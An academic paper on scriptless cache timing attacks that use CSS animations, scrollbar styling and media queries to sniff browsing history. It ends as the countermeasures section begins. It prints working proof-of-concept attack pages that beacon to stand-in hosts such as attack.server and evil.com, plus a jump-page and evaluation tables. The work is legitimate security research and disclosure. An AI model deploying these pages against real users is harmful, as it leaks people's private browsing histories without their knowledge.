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Abstract—The existing Web timing attack methods are
heavily dependent on executing client-side scripts to measure
the time. However, many techniques have been proposed to
block the executions of suspicious scripts recently. This paper
presents a novel timing attack method to sniff users’ browsing
histories without executing any scripts. Our method is based
on the fact that when a resource is loaded from the local
cache, its rendering process should begin earlier than when it
is loaded from a remote website. We leverage some Cascading
Style Sheets (CSS) features to indirectly monitor the rendering
of the target resource. Three practical attack vectors are
developed for different attack scenarios and applied to six
popular desktop and mobile browsers. The evaluation shows
that our method can effectively sniff users’ browsing histories
with very high precision. We believe that modern browsers
protected by script-blocking techniques are still likely to suffer
serious privacy leakage threats.

Keywords-timing attack; scriptless attack; Web privacy;
browsing history;

I. INTRODUCTION

History sniffing has received much attention in recent

years [6, 8, 9, 25]. The attack allows the adversary to learn

whether the user has recently visited some specific URLs by

prompting him or her to visit a malicious page. Researchers

have discovered that dozens of top websites used simple

JavaScript tricks to inspect visitors’ web browsing histories

[22]. According to a test of the most popular Internet

websites, Janc et al. [21] point out that at least 76% of

Internet users are vulnerable to history sniffing.

The most widespread history sniffing attack relies on

inspecting the visual style difference between the visited and

unvisited links. In modern browsers, Cascading Style Sheets

(CSS) [2] can be employed to make visited and unvisited

links take different colors or amounts of space. Based on

this, attackers can place a list of URLs that they want to

inspect in a web page and set the visited links to take a

different style than the unvisited ones by using CSS. When

a victim opens the page, a client-side script embedded in the

page will check the style of links in the list or the positions of

other elements, subsequently determining whether the victim

has recently visited a specific URL. For example, attackers

can use CSS a:visited selector to set the font color of

visited links to red and unvisited links to green. After the

page has been rendered by the victim’s browser, the attack

script can get the color of target links via invoking some

API functions, e.g., getComputedStyle in JavaScript.

If the font color of a link is red, a request can be submitted

to a remote server controlled by attackers to inform them

the link has been visited by the victim. Essentially, this

kind of attack exploits browser bugs, e.g., [27], to extract

the visited status of given links. Fortunately, these bugs are

easy to fix. In 2010, Baron of Mozilla Corporation [10]

proposed a solution for mitigating this kind of attack. All

mainstream browsers, including Firefox, Chrome, Safari and

IE, have adopted this solution. As a result, attackers cannot

distinguish visited links from unvisited ones according to

their styles. It can be predicted that this kind of history

sniffing technique will completely disappear following the

update of users’ browsers.

The cache-based timing attack proposed by Felten and

Schneider [15] is another history sniffing technique. Web

browsers usually perform various forms of caching to im-

prove performance. In general, loading a resource from a

cache (visited) is faster than from the original source (un-

visited). Consequently, attackers can learn whether the user

has visited a web page by measuring the time that victim’s

browser spent on loading a specific resource embedded in

the page. A script program can be used to measure the time

both before and after loading a resource file to get the access

latency. For example, if Bob wants to find out whether Alice

has visited Charlie’s website, Bob can embed a resource

related to Charlie’s site (such as the logo image of Charlie’s

homepage) and an attack script in a malicious page. The

attack page can be written as shown in Fig. 1.

<html> <body>

<img id="logo" style="display: none" />

<script>

var logoimg = document.getElementById("logo");

logoimg.onload = function() {

var end = (new Date()).getTime();

document.location.href =

"http://bob.com/sniffing.php?loadtime="

+ (end - start);

}

var start = (new Date()).getTime();

logoimg.src = "http://charlie.com/logo.png";

</script>

</body> </html>

Figure 1. A timing attack page for detecting whether Alice has visited
Charlie’s website.
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During the attack, Alice is prompted to visit the malicious

page. When Alice views the page, the attack script is auto-

matically run in her browser. The time required to load the

logo image will be measured and reported to Bob. If the time

is less than a pre-established threshold, Bob can conclude

that the image exists in the cache of Alice’s browser and

she has recently visited Charlie’s site. According to the

experiments of Felten and Schneider, the accuracy of attacks

can be above 90% when using a JavaScript program to

measure loading time.

The most critical step of this attack is to accurately

measure the time the victim’s browser spent on loading a

specific resource. So far, these timing attack techniques are

hinging on executing some of the client-side scripts, such

as a JavaScript program or a Java applet. However, due to

serious threats posed by client-side scripts, many defense

techniques have been proposed to block the execution of

suspicious scripts in users’ browsers in recent years, such

as NoScript extension [24] for Firefox, NotScripts [7] for

Chrome, JavaScript Blocker [5] for Safari, HTML5 IFrame

sandbox [4], Content Security Policy (CSP) [1, 28], and

various script filtering mechanisms have been integrated into

web applications. Based on these techniques, the scripts

in attack vectors will be heavily restricted or completely

disabled in a number of attack scenarios. When these

techniques are introduced to user’s browser, he or she is

unlikely to become a victim of script-based timing attacks.

For example, it is difficult for the attackers to deploy the

timing attack pages on a website that has been identified as

trusted by users and recorded in their CSP whitelists.

Felten and Schneider also proposed a method trying to

deal with this problem in their paper [15]. It loads three

URLs in the attacker’s web page. The first and the third are

known URLs of the attacker’s site, and the second is the

target URL. Then the attacker’s web server can measure the

times at which it receives the two hits. Subtracting these two

times, the attacker can get a measure of how long the target

URL took to be loaded. According to the experiment de-

scribed in their paper, the attack can achieve 96.7% accuracy.

However, this method can hardly be implemented today after

more than ten years of ongoing browser development. The

multi-threading technology has been widely used in most

of popular modern browsers. That means, the URLs will

be loaded concurrently and their loading times have little

relationship to whether or not the second URL is cached.

We repeat Felten’s experiment in some modern browsers

to determine whether the scriptless attack method is still ef-

fective today. According to the experiment method described

in the paper [15], we launched 200 times experiments, half

of which is performed when the test URL is cached and the

other half when non-cached. Fig. 2 shows the distribution of

times we measured for known cache hits and known cache

misses in Firefox 19.0. We can see very clearly that the two

distributions overlap each other heavily. In fact, even under

Figure 2. Distribution of access times for known cache hits and known
cache misses, as measured by server-side time measurement for Firefox 19.

the best condition, i.e., choosing threshold to be 35ms, the

false positive rate is higher than 40%. The experiment result

shows that this attack method is completely impractical now.

Based on the above discussions, a natural and important

question is whether the attacker can still effectively perform

cache-based timing attacks to sniff the users’ browsing

histories without executing scripts. In this paper, we want to

identify and develop a new scriptless timing attack method

that can be applied to modern browsers, and capable of

bypassing the above defense techniques.

In order to improve user experiences and provide more

flexibility and control, mainstream browsers support some

CSS markup features to a certain degree. Some CSS features

can be used to provide dynamic page presentations based on

client-side environments or page contents, and they are not

dependent on JavaScript or other client-side script languages.

In practice, these features make it possible for attackers to

obtain users’ sensitive information without using scripts. For

example, Heiderich et al. [18] and Zalewski [32] presented

some alternatives to direct script injection that would enable

page contents exfiltration. Their studies have demonstrated

that attackers can successfully steal within-page content by

abusing legitimate browser characteristics.

Inspired by the studies of Heiderich et al., we propose

a novel timing attack method, operating without executing

scripts. Our approach is based on the observation that the

rendering process of resources can be sensed via elaborated

CSS3 [3] markups. Specifically, we employ CSS animation,

scrollbar customization and media queries to monitor the

rendering of the target resource indirectly rather than use

scripts to observe their loading directly. Combining these

components with plain HTML, we found that the start

time of rendering a resource can be accurately measured.

In fact, when a resource is loaded from the local cache,
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its rendering process should begin earlier than when it is

loaded from a remote website. As a result, attackers can

learn whether a user has visited a specific resource. To

demonstrate the effectiveness of our method, we develop

three practical attack vectors for different attack scenarios.

We have applied them to six popular desktop and mobile

browsers (IE, Firefox, Chrome, Safari, Dolphin and Android

built-in browser). The attack experiment results show that

our attack method can effectively detect users’ browsing

histories.

In summary, this paper makes following contributions:

• We propose a new CSS features exploit method. In

this study, CSS features are employed as a timing

measure tool, not a page content extractor. Compared

with previous exploit methods, we demonstrate that

CSS features can be leveraged to sense out-of-page

sensitive information rather than only the within-page

content.

• We present a novel timing attack method and three

practical attack vectors for stealing browsing histo-

ries without executing client-side scripts. The attack

method is sophisticated enough to be applicable to

modern browsers. The evaluations performed on pop-

ular browsers show that they are effective to sniff

browsing histories with very high precision.

• We prove that modern browsers protected by script-

blocking settings or extensions are still likely to suffer

serious privacy leakage threats.

II. EXPLOITABLE CSS FEATURES

In this section, we discuss the details of the exploitable at-

tack components, which can be employed to bypass defense

techniques aimed at script-based attacks and are applicable

to modern browsers. In fact, our approach leverages some

elaborated CSS3 [3] markups. CSS3 is the latest standard for

CSS. All the major browsers are already supporting CSS3

features to different degrees.

In practice, some of CSS features can be used to provide

dynamic page presentations resulting from client-side envi-

ronments or page contents. Essentially, the browser cache is

also a part of client-side environment. If one such feature

can sense the time of resources loading or rendering, it

can be used as an indirect timing measurement tool. With

a thorough analysis, we identified certain CSS3 features

as these capable of providing potential ways to measure

resource loading time and send requests at appropriate

moments without executing any scripts.

• CSS Animations: With CSS3, users can create anima-

tions without executing scripts. A CSS animation can

contain a set of keyframes that describe how the

animated element should be rendered at a given time

during the animation sequence. Furthermore, we can

accurately specify how many seconds or milliseconds

an animation takes to complete one cycle. Taking the

style markup shown in Fig. 3 as example, it will pro-

duce an animation named scaling for a div container

x and set the animation cycle time to 100 milliseconds.

In addition, three keyframes are also specified for the

animation. In the first keyframe, the height of x is set

to 200 pixels at the beginning of the animation cycle.

By 50% of the animation duration time, the height is

animated to 100 pixels. At the end of the animation

cycle, the height will return to 200 pixels.

div.x {

-webkit-animation-duration: 100ms;

-webkit-animation-name: scaling;

}

@-webkit-keyframes scaling {

from { height: 200px; }

50% { height: 100px; }

100% { height: 200px; }

}

Figure 3. An example of CSS animations.

• CSS Scrollbar Customization: CSS markups can also

be used to customize the display of scrollbars. We may

use a CSS style to make the appearance of a scrollbar

be automatically changed for different scrollbar states.

For example, if the space of a container (e.g., a div) is

not large enough to hold the embedded content (e.g.,

an image), one or two scrollbars will appear and their

track pieces will be equally visible, as shown in Fig. 4.

We can use CSS to make the background of the track

piece be changed to a customized color. For Webkit-

based browsers, the background property of scrollbar

components can even be set with a URL for requesting

a remote resource, such as an image in a website. Using

the style shown in Fig. 5, the background of the vertical

track piece of a div scrollbar can be changed to an

image (i.e., http://evil.com/bg.png) when the increment

track piece appears. Regrettably, customizing the back-

ground of a track piece with a remote resource is only

supported in Webkit-based browsers.

track piece

track

piece

Figure 4. Placing an image which exceeds the width and height of the
div in a div container will result in the appearance of the horizontal and
vertical scrollbars. The increment and decrement track pieces of the two
scrollbars will also occur. The increment track pieces are visible by default.

• CSS Media Queries: CSS media queries allow web

developers to check against certain physical character-

istics of a device before applying related styles. For
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div.a::-webkit-scrollbar-track-piece

:vertical:increment {

background: url("http://evil.com/bg.png");

}

Figure 5. An example of scrollbar customization.

a media type (e.g., screen), a media query can be

used to check the conditions of media features such

as width, height and color, resulting in applications of

different style to page components for different feature

conditions. As shown in Fig. 6, if the width of the

current screen is equal or larger than 300 pixels, the

background of the page body will be changed to a

remote image. Unlike the CSS scrollbar customization,

using media queries to request a remote resource is

supported by almost all popular browsers. One thing

should be noted: when a page is embedded in an

IFrame, the size of its screen is determined by the size

of the IFrame container.

@media screen and (min-width: 300px){

body{ background: url("http://evil.com/bg.png"); }

}

Figure 6. An example of CSS media queries.

Taking the attacker’s viewpoint, we believe that CSS

animations actually provide a precise timer that can be

exploited to measure a period of time. Further, CSS scrollbar

customization and media queries can be exploited to observe

the rendering of the content embedded in a container and

trigger a request to a remote machine. By leveraging these

CSS features, we can launch a timing attack and bypass

existing defense techniques. Our idea is to place a resource

(e.g., a logo image) related to the target URL in a container

as the attack object and let the browser send a request to

report the starting of its rendering process by customizing

the scrollbar of the container or performing a media query.

Consequently, the start time of target resource rendering can

be observed remotely through setting an animation to control

the size of the container according to an appropriate timing

distribution, or by comparing it with the rendering of some

baseline resources that do not exist in the cache. Based on

these observations, we developed three attack vectors for

different attack scenarios.

III. SCRIPTLESS TIMING ATTACKS

By leveraging the exploitable features described in Section

II, we propose two scriptless attack approaches for different

scenarios, which can be applicable to modern browsers.

A. Measurement-based Attack

As mentioned previously, a cached resource’s rendering

process should begin earlier than for its non-cached coun-

terpart. For a resource, a time point in the duration of the

page rendering can be identified. As such, the resource can

always begin to be rendered before that point when cached

and always after it when it is non-cached. Having this time

point, we can determine whether the resource exists in the

cache by measuring the relative start time of its rendering

process.

As described in Section II, if the resource is placed in

a container with size smaller than the size of the resource,

rendering the resource will make the increment track pieces

of the container scrollbars appear. Without loss of generality,

we can place the logo image of target website in a div

component and take it as the attack object. We denote the

time of the increment track piece beginning to appear as Tch

when loading the image from the cache (cache hit) and Tcm

when loading it from a website (cache miss) respectively.

Apparently, Tch is always earlier than Tcm (i.e., Tch<Tcm)

under the same environment.

As shown in Fig. 7, the attacker can easily choose a time

point Tx, such that, Tch<Tx<Tcm. And then, using a CSS

animation, the size of the div can be set to be smaller than the

size of the logo image before Tx and to be larger after Tx. In

numerous experiments, we found that the start time of a CSS

animation Tas is always earlier than Tch. For convenience,

we can construct a sniffing window [Tas, Tx] and control the

size of the div to be smaller than the size of the logo image

in the window. As a result, the increment track piece will

appear when the logo image is cached and will never appear

when the image is not cached. Applying a scrollbar style for

the increment track piece, we make sure that a request will

be sent to the attack server in the sniffing window when

the logo image is cached. The attacker can learn whether a

user has visited the target website by examining the requests

received on the server. Writing the attack page, attacker can

employ a CSS animation to change the size of the div smaller

than the size of logo image in the sniffing window by setting

its cycle time to Tx − Tas.

 

S
ize 

Page Rendering Time 

The size of the logo image 

The size of the div container 

Tas            Tch           Tx           Tcm 

Sniffing Window 

Figure 7. Dynamically setting the size of the div to ensure that it can
completely hold the target image only when the image is not cached.
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In practice, the values of Tas, Tch and Tcm may vary

under different network environments. The length of the

sniffing window can be set as the mean of the maximum

of (Tch − Tas) and the minimum of (Tcm − Tas) under

different environments. To improve accuracy, the attacker

can set an appropriate sniffing window by analyzing the time

distributions collected (as it will be described in Section IV).

Without loss of generality, if the attacker wants to

know whether the victim has visited the National Sci-

ence Foundation (NSF) website (http://www.nsf.gov), the

attack PoC page can be written as shown in Fig. 8. The

NSF logo is a PNG image with the height of 71 pix-

els (http://www.nsf.gov/images/nsf logo.png). In the attack

page, the logo image is embedded in a div container with

the height initially set to 72 pixels. Under our desktop

environment, the length of the sniffing window is prede-

termined to 35 milliseconds by experiment. Accordingly,

the height of the div will be changed to 70 pixels and

returned to 72 pixels in 35 milliseconds by a CSS animation

sniff animation. If the logo image is cached, the increment

track piece will appear within the time window. As a

result, a request will be sent to the attack server (for the

URL: http://attack.server/nsfvisited). On the contrary, if the

logo image is not cached, the increment track piece will

never appear because the height of the div has already

returned to 72 pixels before the rendering of the logo image.

Consequently, if the attacker found the request in the attack

server, he or she can conclude that the victim has recently

visited NSF website.

However, there is a problem that needs to be addressed

when launching the above attack. When the browser wants

to load a resource in a website, a Domain Name System

(DNS) lookup may be performed to resolve the domain name

of the website. But if the domain name resolution has been

kept in the user machine’s DNS cache, the browser will

send the request directly, without conducting a DNS lookup.

Because a DNS lookup may require expensive network

communication, a noise will be introduced in timing attacks,

i.e., the rendering of the image will be delayed by a potential

DNS lookup.

We have designed a two-step attack scheme to address

this problem. In the first place, the victim’s machine is

forced to resolve the domain name of the attack object such

that the resolution result is cached. To achieve this purpose,

a specially prepared attack page, labeled as jump-page, is

introduced. The page in question can automatically refresh to

the attack page in a few seconds. The victim will be induced

to visit the jump-page instead of the attack page. When

browsing of the jump-page occurs, a request will be issued

for a fake resource that does not exist in the target website.

This can ensure that the DNS resolution of the domain name

has been cached in the victim’s machine when the timing

attacks begin and nothing will be actually downloaded. For

the attack page shown in Fig. 8, the attacker can easily

<html>

<head>

<style>

div.attack {

height: 72px;

overflow-y: auto;

-webkit-animation-duration:35ms;

-webkit-animation-name: sniff_animation;

}

div.attack::-webkit-scrollbar { width: 1px; }

div.attack::-webkit-scrollbar-track-piece

:vertical:increment {

background:

url("http://attack.server/nsfvisited");

}

@-webkit-keyframes sniff_animation {

from { height: 70px; }

100% { height: 72px; }

}

</style>

</head>

<body>

<div class="attack">

<img id="theImg" src=

"http://www.nsf.gov/images/nsf_logo.png" />

</div>

</body>

</html>

Figure 8. The measurement-based attack PoC page for detecting whether
the victim has visited the NSF.

<html>

<head>

<meta http-equiv="Refresh"

content="3;URL=attack.html"/>

</head>

<body>

<img src="http://www.nsf.gov/nonexistent.png">

</body>

</html>

Figure 9. The jump-page for the attacking website shown in Fig. 8.
The page will automatically redirect to the attack page (attack.html) in 3
seconds. A request for a nonexistent image (nonexistent.png) will be issued
when browsing the page.

construct a maliciously jump-page as shown in Fig. 9.

B. Comparison-based Attack

In the real world, the attacker often does not know the

time distributions of the rendering process in the victim’s

browser. To this end, we develop a novel comparison-based

attack approach, which is not dependent on precise time

measurement. The basic idea of comparison-based attacks is

the introduction of related resources as the timing baselines

and comparing their rendering processes with that of the

attack object.

There are two interesting features of browsers that we

can leverage to effectively perform a comparison-based

attack. First, for most browsers, the cached resources will

be rendered prior to non-cached ones even when they are

arranged behind non-cached resources in a web page. For

example, if a page contains two images, one is cached and

another is non-cached, the cached one is placed behind the
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non-cached. When loading the page, the browser will firstly

try to load the cached image form the local cache. In other

words, a non-cached object can be utilized as a comparison

baseline when placed in front of the attack object. Second,

there is a limit for concurrent requests to the same domain

in all popular browsers. If the number of concurrent requests

reaches that limit, the subsequent requests will be blocked

until one of the previous requests concludes. For example,

the max concurrent connections to the same domain are

six for Chrome and Safari. We can leverage the feature to

deliberately delay the rendering process of the attack object

when it is non-cached.

Surprisingly, we can choose the attack object itself as

its own baseline image. We found that if the URL of the

legitimate request to an image is equipped with a parameter

suffix, such as “?id=0001”, many web servers will ignore

the suffix and still return the image for the fake request.

Furthermore, the image will always be re-downloaded from

the remote server for every distinct suffix. Thus, we can

introduce such fake object references as baselines. We per-

formed an investigation to determine which mainstream web

servers possess such characteristic. The result shows that

almost all popular web servers, such as Apache, Microsoft-

IIS, and Nginx, will ignore the malformed suffix and return

the original image.

In order to effectively identify the fact that the attack

object does not exist in the cache, the number of fake

object references should be no less than the max concur-

rent connections in the targeted browser. These fake object

references will be placed in front of the attack object in

the attack page. When the browser renders the page and the

attack object does not exist in the cache, the browser will

send the resources downloading requests one by one from

the top to the bottom of the page. The request for the attack

object will be blocked by the requests for fake objects. As a

result, the rendering of the attack object will begin later than

the fake objects. On the contrary, when the attack object is

cached, the rendering process of it will begin earlier than

that of the fake objects in most browsers.

Eventually, the attacker needs to know whether the attack

object is rendered earlier than the fake objects. We designed

two attack vectors to deliver information by using CSS

scrollbar customization and media queries respectively:

1) Using CSS Scrollbar Customization for Comparison-

based Attacks

Using techniques similar to those described in Section

III-A, the rendering of the attack object and fake objects will

trigger different requests to the attack server. The attacker

can examine the receipt order of these requests on the server

to sniff the victim’s browsing histories. For example, when

attacking Chrome users, the attack page for the NSF can

employ the description given in Fig. 10.

Six fake image references are functioning as baselines

and placed in front of the logo image in the given page.

<html>

<head>

<style>

div { height: 70px; overflow-y: auto; }

div::-webkit-scrollbar { width: 1px; }

div.baseline::-webkit-scrollbar-track-piece

:vertical:increment {

background:

url("http://attack.server/BASELINE");

}

div.attackobject::-webkit-scrollbar-track-piece

:vertical:increment {

background:

url("http://attack.server/TARGET");

}

</style>

</head>

<body>

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=OEMGCG">

...

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=BVREKG">

<div class="baseline">

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=ASODHF">

</div>

...

<div class="baseline">

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=KMHEGF">

</div>

<div class="attackobject">

<img src="http://www.nsf.gov/images

/nsf_logo.png">

</div>

</body>

</html>

Figure 10. The PoC page of the comparison-based attack that uses CSS
scrollbar customization.

For mobile browsers, the max concurrent connections is

often two, thus we can introduce only two fake image

references. The suffix of their URLs can be generated ran-

domly, ensuring that they will always be downloaded from

a remote server. The height of a container is set to 70 pixels

for both the logo image and fake images. When rendering

these images, the browser will send the two kinds of report

requests (BASELINE and TARGET) to the attack server. If

the logo image did exist in the cache, the browser will load

it directly and send the TARGET request immediately. But

for the six fake images, the browser needs to spend more

time on downloading. In this case, the order of requests to

the attack server is <TARGET, BASELINE>. On the other

hand, if the logo image is non-cached, the browser needs

to send a request for downloading it. However, the request

will blocked by the requests for the six fake images. As a

result, the fake images will be rendering prior to the logo

image, and the order of requests to the attack server will be

<BASELINE, TARGET>.

Additionally, because the rendering of a PNG or JPG

image will immediately start after only a small part of it

 

six baseline images
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is downloaded, the baseline image may be render earlier

than the cached target image when the victim uses a high-

speed network. To avoid false positives, we can introduce

additional fake objects, guaranteeing that all baseline images

are rendered later than the cached target image. In the

following attack page, we include additional six fake objects

on the top of the page body.

Nevertheless, another problem remains: because the re-

quests BASELINE and TARGET may choose different rout-

ing paths, the order of receiving them in the attack server

may be different to the original order of their sending. We

can leverage the limit of concurrent requests to address

the problem. The attacker can use some additional resource

references to control the capabilities of the channel between

the victim’s browser and the attacker server.

<img src = "http://attack.server/large01.jpg">

<img src = "http://attack.server/large02.jpg">

<img src = "http://attack.server/large03.jpg">

<img src = "http://attack.server/large04.jpg">

<img src = "http://attack.server/large05.jpg">

Figure 11. The large images used to occupy connections.

For attacking Chrome users, five references to large JPG

images can be placed on the top of the attack page to occupy

five connections, as shown in Fig. 11. As a result, there is

only one network channel available for sending BASELINE

or TARGET requests while downloading the five large im-

ages. If the download time is long enough, a BASELINE

or TARGET request will be suspended and forced to wait

until another request is completed. This guarantees that a

BASELINE or TARGET request sent early must also be

received early. In practice, the resource download speed can

also be customized in many web servers. For example, in

Apache, which is the server we used in our experiments,

one can limit the images’ download speed by loading the

mod bw.dll and modifying the configuration file as:

LoadModule bw_module modules/mod_bw.dll

LargeFileLimit.jpg 1000 2048

This means, for all the JPG files on this server, that if

its size is larger than 1000KB, the download speed will

be limited to less than 2KB/s. By lowering the download

speed, the connections for downloading those large images

can continue long enough to ensure that all report requests

will be received in the order of sending.

The above attack’s PoC is very well suited for Webkit-

based browsers, with the exception of Safari. Inexplicably

in Safari rendering a cached image may be blocked by the

concurrent network requests to the same domain. This may

result in false negatives. A simple but effective solution is

cutting down the number of baseline images to five (one less

than the max concurrent connections of Safari). By doing

so we ensure that rendering of the target image will not be

blocked when it is cached. On the other hand, when the

image is non-cached, the rendering process of it is hardly

possible to happen prior to that of the all five baseline

images. The experiment has demonstrated that the modified

PoC can also be effectively applied to Safari.

2) Using CSS Media Queries for Comparison-based At-

tacks

To widen our scope to include more major browsers, we

can leverage CSS media queries to launch a comparison-

based attack. Using media queries to request a remote

resource is supported by almost all popular browsers.

Specifically, we employ the HTML table to combine the

attack object with a media query. The target image and

an IFrame container are placed in two cells of the same

column in a table. When the image is rendered, the whole

column will be widened to suit the image. This can make

the width of the IFrame change to the same of that of the

image simultaneously. By embedding a media query page

in the IFrame, the rendering of the target image can be

observed via querying the width of the page screen, and

the attacker can be informed via requesting a remote image

as the background of the page body. Having introduced

baseline images and a query page in another table, the

attacker can launch a comparison-based attack. For example,

when attacking IE users, the attack page for NSF website

can be outlined as Fig. 12 demonstrates. Similarly to the

PoC shown in Fig. 10, we introduce some additional fake

objects on the top of the page body to avoid false positives.

<html>

<body>

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=DSFLKA">

...

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=KRELWG">

<table>

<tr><td>

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=FKKVEC"><br>

...

<img src="http://www.nsf.gov/images

/nsf_logo.png?id=PNHJRE"><br>

</td></tr>

<tr><td>

<iframe src="BaselineQuery.html" width=100% />

</td></tr>

</table>

<table>

<tr><td>

<img src="http://www.nsf.gov/images

/nsf_logo.png"><br>

</td></tr>

<tr><td>

<iframe src="TargetQuery.html" width=100% />

</td></tr>

</table>

</body>

</html>

Figure 12. The PoC page of the comparison-based attack that uses CSS
media queries.

 

six baseline images
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There are two media query pages (i.e., Baseline-

Query.html and TargetQuery.html) included in the above

attack page to observe the rendering of baseline images and

the target image respectively. We can make the query pages

send requests to the attack server when the width of the

current screen is larger than the default width of the IFrame

and lesser than the width of the target image. In fact, the

width of the NSF logo image is 392 pixels, and the default

width of the IFrame is often about 300 pixels (e.g., 302

pixels in IE 10). We can use the media queries shown in

Fig. 13 to check whether the current screen width is not

less than 390 pixels. When the target image or a baseline

image starts to render, the width of the IFrame containers in

the same column will become larger than 390 pixels. This

will result in a TARGET or BASELINE request being sent

out. Eventually, the attacker can learn whether the target

image is cached by examining the order of these requests

received on the attack server.

<html>

<style>

@media screen and (min-width: 390px){

body{

background:

url("http://attack.server/BASELINE");

}

}

</style>

</html>

(a) BaselineQuery.html

<html>

<style>

@media screen and (min-width: 390px){

body{

background:

url("http://attack.server/TARGET");

}

}

</style>

</html>

(b) TargetQuery.html

Figure 13. The media query pages.

The comparison-based timing attack using CSS media

queries can be applied to not only Webkit-based browsers

but also to other popular browsers, such as IE and Firefox.

One thing should be noticed is that there is a small limit

for choosing the target image, i.e., the width of the target

image may not be less than the default width of the IFrame.

Otherwise, the rendering of the target image could not make

the IFrame in the same column scale correspondingly.

IV. EVALUATION

In order to examine the effectiveness of our three attack

vectors, we apply them to six popular browsers, including

IE 10.0.9, Firefox 19.0, Chrome 26.0, Safari 5.1.4, Android

built-in browser 4.2, and Dolphin 9.1.0. Without loss of

generality, we still choose the NSF website as the target

website in this section. In fact, we also applied our attack

method to some other popular websites, such as Wikipedia

and The New York Times, and got similar results to the

experiment for NSF. All these experiments demonstrate that

our method can effectively sniff users’ browsing histories

with very high precision.

A. Measurement-based Attack

The measurement-based attack can be applied to Webkit-

based browsers. At first, we need to determine the length of

the sniffing window. We have designed test pages to collect

necessary time samples for four Webkit-based browsers

operating under different environments.

In a desktop computer (2G RAM, Intel Core2 Duo 2G

CPU), we collected 100 (Tas, Tch) and (Tas, Tcm) samples

for Chrome and Safari respectively. A half of these samples

is obtained on a low speed Internet connection (64K) and

the other half is on a high speed connection (10M WAN).

We use a modified attack page as the test page, in which the

logo image rendering always made the increment track piece

appear, regardless of its cached status. In practical terms, we

collected these samples via recording the timelines of related

events in the Developer Tools interface of browsers.

As discussed in Section III, the length of the sniffing

window can be set as the mean value of the maximum of

(Tch − Tas) and the minimum of (Tcm − Tas). For Chrome,

the related time distribution is shown in Fig. 14. We can

see that those two values are 30ms and 40ms respectively.

And for Safari, as shown in Fig. 15, they are 30ms and

150ms. Fortunately, though Chrome is faster than Safari,

the maximum of (Tch − Tas) in Safari is still less than the

minimum of (Tcm − Tas) in Chrome. The length of the

sniffing window can be set to 35ms (i.e., the mean of 30ms

and 40ms), a value suitable for both Chrome and Safari.

 

Figure 14. The distribution of (Tch − Tas) and (Tcm − Tas) in Chrome.

We used a HTC T528w phone to collect time samples

for Android built-in browser and Dolphin. Because the two
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Figure 15. The distribution of (Tch − Tas) and (Tcm − Tas) in Safari.

browsers do not provide development interfaces like desktop

browsers, we cannot get the time distributions directly. In our

experiments, we have employed a simple black-box method

to determine the length of the sniffing window.

We generated a series of test pages by expanding the

length of the sniffing window from 1ms to 1000ms. Then

we loaded them one by one and examined requests received

on the attack server. The basic idea behind this approach is

that the test page with an appropriate window length will

always send a report request to the attack server when the

logo image is cached and it never sends the report request

otherwise.

For each test page, we have tested each of the two

browsers ten times when the logo image is cached or non-

cached respectively. Five of them have been performed on

a low speed Internet connection (GPRS) and the other five

on a comparatively high speed connection (Wi-Fi). The test

results are shown in Table I. In the table, “Y” signifies that

the report requests are always received in five tests, “N”

implies they are never received, and “Y/N” indicates that

they may or may not be received. Looking at the table, we

can observe that the ideal window length is between 150ms

and 175ms. Therefore, we set the length of the sniffing

window to the mean of the two values, namely 163ms.

Using above configuration, we launched the attack 200

times to each of the two desktop browsers with the logo

image cached or non-cached respectively. Because it is

difficult to perform an automatically test on a mobile phone,

we launched the attack 20 times to the two mobile browsers

respectively. Half of attacks have been conducted on a low

speed Internet connection (64K or GPRS) and the other half

on a comparatively high speed connection (10M WAN or

Wi-Fi). As shown in Table II, the results of attack tests

indicate that our attack pages work effectively, with only

9 false positives (1.02%) and 17 false negatives (1.93%) in

880 tests.

Table I
TIME TEST RESULTS OF MOBILE BROWSERS.

Window
Length

Android Built-in
Browser 4.2

Dolphin 9.1.0

Cached Non-Cached Cached No-Cached

<75ms Y N Y/N N

75ms Y N Y/N N

100ms Y N Y/N N

125ms Y N Y/N N

150ms Y N Y N

175ms Y N Y N

200ms Y N Y Y/N

225ms Y N Y Y/N

300ms Y N Y Y/N

500ms Y Y/N Y Y/N

>500ms Y Y/N Y Y/N

Table II
THE TEST RESULTS OF MEASUREMENT-BASED ATTACKS.

Browsers

Cached Non-Cached

Test
Times

Success Fail
Test

Times
Success Fail

Chrome
26.0

200 190 10 200 199 1

Safari
5.1.4

200 194 6 200 193 7

Android
Built-in

Browser 4.2
20 19 1 20 20 0

Dolphin
9.1.0

20 20 0 20 19 1

B. Comparison-based Attack

Launching the comparison-based attack, the attacker does

not need to know any time distributions of client-side

rendering processes. Based on the attack method described

in Section III-B, we have performed the following two

comparison-based attack experiments.

1) Using CSS Scrollbar Customization

As in the above measurement-based attack experiments,

we also launched the comparison-based attacks 200 or 20

times for each of the four Webkit-based browsers by using

CSS scrollbar customization. The attack test results are

shown in Table III, illustrating that our attack method can

effectively sniff the browsing histories for Chrome, Safari,

Android built-in browser, and Dolphin, with only 2 false

positives (0.23%) in 880 tests.

2) Using CSS Media Queries

With the use of media queries, the comparison-based

attack can be applied to almost all popular browsers rather

than only to Webkit-based browsers. Having performed

this kind of attack experiment for each of the six popular

browsers, including IE, Firefox, and the above four Webkit-

based browsers, we have proven that this attack method

can fully sniff browsing histories across different browsers

with very high precision, i.e., only 3 false positives (0.18%)

and 2 false negatives (0.12%) in 1680 tests. The results are

highlighted in Table IV.
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Table III
THE TEST RESULTS OF COMPARISON-BASED ATTACKS USING CSS

SCROLLBAR CUSTOMIZATION.

Browsers
Cached Non-Cached

Test
Times

Success Fail
Test

Times
Success Fail

Chrome
26.0

200 200 0 200 200 0

Safari
5.1.4

200 200 0 200 198 2

Android
Built-in

Browser 4.2
20 20 0 20 20 0

Dolphin
9.1.0

20 20 0 20 20 0

Table IV
THE TEST RESULTS OF COMPARISON-BASED ATTACKS USING CSS

MEDIA QUERIES.

Browsers
Cached Non-Cached

Test
Times

Success Fail
Test

Times
Success Fail

Internet
Explorer
10.0.9

200 199 1 200 200 0

Firefox
19.0

200 200 0 200 198 2

Chrome
26.0

200 200 0 200 200 0

Safari
5.1.4

200 199 1 200 199 1

Android
Built-in

Browser 4.2
20 20 0 20 20 0

Dolphin
9.1.0

20 20 0 20 20 0

V. COUNTERMEASURES

The most straightforward countermeasure to cache-based

